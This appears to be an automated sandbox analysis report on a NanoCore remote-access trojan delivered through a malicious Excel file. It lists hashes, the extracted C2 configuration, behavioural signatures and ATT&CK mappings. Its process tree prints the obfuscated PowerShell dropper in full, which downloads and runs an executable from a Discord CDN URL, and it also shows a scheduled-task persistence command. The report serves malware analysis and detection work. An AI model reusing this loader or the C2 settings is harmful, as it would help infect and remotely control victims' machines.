nanocore | 5184caaa51f3f661060731ef43e83f7d1978779ef224a83e819558f925eee73e

General

Target

Order23032021.xls
Size

90KB
MD5

db196958b90a5716d64cf12e3ca92cc2
SHA1

b51c1611a227de1fac3d020259306157e1dacc2f
SHA256

5184caaa51f3f661060731ef43e83f7d1978779ef224a83e819558f925eee73e
SHA512

e1733e996cc12679ff1d6d613ef8fed86e26a0c6864dec9156c6d946d16bbc7cd5e0870c964dda34b9ff65ca76ba1fb184773ab0abad7db7024ba590e7152646

Score

10^/10

nanocore keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/823801311480250391/823801423296331796/d2aVbt2JS4su0p6.exe

Extracted

Family

nanocore

Version

1.2.2.0

C2

185.140.53.130:2364

mydnsnanocore123.ddns.net:2364

Mutex

af625c00-d1f5-4435-80be-9f676efc59dc

Attributes

activate_away_mode
true
backup_connection_host
mydnsnanocore123.ddns.net
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2020-12-27T15:43:00.135192036Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
2364
default_group
17-03-2021NANO
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
af625c00-d1f5-4435-80be-9f676efc59dc
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
185.140.53.130
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 620 1628 Powershell.exe
Blocklisted process makes network request 1 IoCs

Processes:

Powershell.exe

flow pid process

7 620 Powershell.exe
Executes dropped EXE 1 IoCs

Processes:

jWyYtQjxy.exe

pid process

1256 jWyYtQjxy.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	620	1628	Powershell.exe

flow	pid	process
7	620	Powershell.exe

pid	process
1256	jWyYtQjxy.exe

Drops file in System32 directory 1 IoCs

Processes:

Powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

jWyYtQjxy.exe

description pid process target process

PID 1256 set thread context of 1940 1256 jWyYtQjxy.exe MSBuild.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

756 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	pid	process	target process
PID 1256 set thread context of 1940	1256	jWyYtQjxy.exe	MSBuild.exe

pid	process
756	schtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1108 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

Powershell.exeMSBuild.exe

pid process

620 Powershell.exe
620 Powershell.exe
1940 MSBuild.exe
1940 MSBuild.exe
1940 MSBuild.exe
1940 MSBuild.exe
1940 MSBuild.exe
1940 MSBuild.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

MSBuild.exe

pid process

1940 MSBuild.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Powershell.exeMSBuild.exe

description pid process

Token: SeDebugPrivilege 620 Powershell.exe
Token: SeDebugPrivilege 1940 MSBuild.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1108 EXCEL.EXE
1108 EXCEL.EXE
1108 EXCEL.EXE

pid	process
1108	EXCEL.EXE

pid	process
620	Powershell.exe
620	Powershell.exe
1940	MSBuild.exe
1940	MSBuild.exe
1940	MSBuild.exe
1940	MSBuild.exe
1940	MSBuild.exe
1940	MSBuild.exe

pid	process
1940	MSBuild.exe

description	pid	process
Token: SeDebugPrivilege	620	Powershell.exe
Token: SeDebugPrivilege	1940	MSBuild.exe

pid	process
1108	EXCEL.EXE
1108	EXCEL.EXE
1108	EXCEL.EXE

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

Powershell.exejWyYtQjxy.exe

description	pid	process	target process
PID 620 wrote to memory of 1256	620	Powershell.exe	jWyYtQjxy.exe
PID 620 wrote to memory of 1256	620	Powershell.exe	jWyYtQjxy.exe
PID 620 wrote to memory of 1256	620	Powershell.exe	jWyYtQjxy.exe
PID 620 wrote to memory of 1256	620	Powershell.exe	jWyYtQjxy.exe
PID 1256 wrote to memory of 756	1256	jWyYtQjxy.exe	schtasks.exe
PID 1256 wrote to memory of 756	1256	jWyYtQjxy.exe	schtasks.exe
PID 1256 wrote to memory of 756	1256	jWyYtQjxy.exe	schtasks.exe
PID 1256 wrote to memory of 756	1256	jWyYtQjxy.exe	schtasks.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe
PID 1256 wrote to memory of 1940	1256	jWyYtQjxy.exe	MSBuild.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Order23032021.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1108

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $iFdxBLFlx='*.*-EX'.replace('*.*-','I'); sal obkhdXAvQ $iFdxBLFlx;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://cdn.discordapp.com/attachments/823801311480250391/823801423296331796/d2aVbt2JS4su0p6.exe'',$env:temp+''\''+''jWyYtQjxy.exe'')'|obkhdXAvQ; start-process($env:temp+'\'+'jWyYtQjxy.exe')
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:620

C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe
"C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1256

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVVEIZvVsdzWIS" /XML "C:\Users\Admin\AppData\Local\Temp\tmpDB32.tmp"
3⤵
- Creates scheduled task(s)
PID:756

C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
"{path}"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe
MD5
91b0b71528cf2e13fc3290e2a0f1eec0

SHA1
3c8254a705229bd8eec55c2eff12690fb3308c9e

SHA256
7a018a67c85cc0fd361f4666b0dcaf409fadeccdea122a7b285b6083ba715c80

SHA512
841ce037e4873cf13acc530563175d6fd020bebe7cd6219253ddd9a8cb01512b423e348173a5fd75ae06093a203db8ae35aa09717525c4a73651058798c643c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe
MD5
91b0b71528cf2e13fc3290e2a0f1eec0

SHA1
3c8254a705229bd8eec55c2eff12690fb3308c9e

SHA256
7a018a67c85cc0fd361f4666b0dcaf409fadeccdea122a7b285b6083ba715c80

SHA512
841ce037e4873cf13acc530563175d6fd020bebe7cd6219253ddd9a8cb01512b423e348173a5fd75ae06093a203db8ae35aa09717525c4a73651058798c643c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDB32.tmp
MD5
e867cce24aa2a30a071b6e17f6d4d293

SHA1
cf944e1eea56523a7aeff4795a332f63bf26ff4c

SHA256
20e95a96b22e2929f1ddb917317c64d60107f58eee54064abf71766bfed1023a

SHA512
dbaed5ca7d158a79d2619c495e3ed652672243b445d5ee3a8126f76b94e684566e4ced803449dd1ebe2cfa7bb5aa1a5c4df26b8c241f00d3e017179c5d89ca3b

Download Submit
memory/620-29-0x000000001A980000-0x000000001A981000-memory.dmp

Filesize
4KB

Download
memory/620-31-0x000000001C5A0000-0x000000001C5A1000-memory.dmp

Filesize
4KB

Download
memory/620-7-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/620-8-0x000000001AD00000-0x000000001AD01000-memory.dmp

Filesize
4KB

Download
memory/620-10-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/620-9-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/620-11-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/620-12-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/620-13-0x000000001C330000-0x000000001C331000-memory.dmp

Filesize
4KB

Download
memory/620-14-0x0000000002720000-0x0000000002721000-memory.dmp

Filesize
4KB

Download
memory/620-17-0x00000000027F0000-0x00000000027F1000-memory.dmp

Filesize
4KB

Download
memory/620-5-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp

Filesize
8KB

Download
memory/620-30-0x000000001AB10000-0x000000001AB11000-memory.dmp

Filesize
4KB

Download
memory/620-6-0x000007FEF52A0000-0x000007FEF5C8C000-memory.dmp

Filesize
9.9MB

Download
memory/756-37-0x0000000000000000-mapping.dmp

Download
memory/1108-2-0x000000002FE71000-0x000000002FE74000-memory.dmp

Filesize
12KB

Download
memory/1108-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1108-3-0x0000000071251000-0x0000000071253000-memory.dmp

Filesize
8KB

Download
memory/1256-32-0x0000000000000000-mapping.dmp

Download
memory/1256-35-0x00000000760D1000-0x00000000760D3000-memory.dmp

Filesize
8KB

Download
memory/1256-36-0x00000000005B0000-0x00000000005B1000-memory.dmp

Filesize
4KB

Download
memory/1256-39-0x00000000005B1000-0x00000000005B2000-memory.dmp

Filesize
4KB

Download
memory/1940-40-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1940-41-0x000000000041E792-mapping.dmp

Download
memory/1940-43-0x0000000000130000-0x0000000000131000-memory.dmp

Filesize
4KB

Download
memory/1940-44-0x0000000000131000-0x0000000000132000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads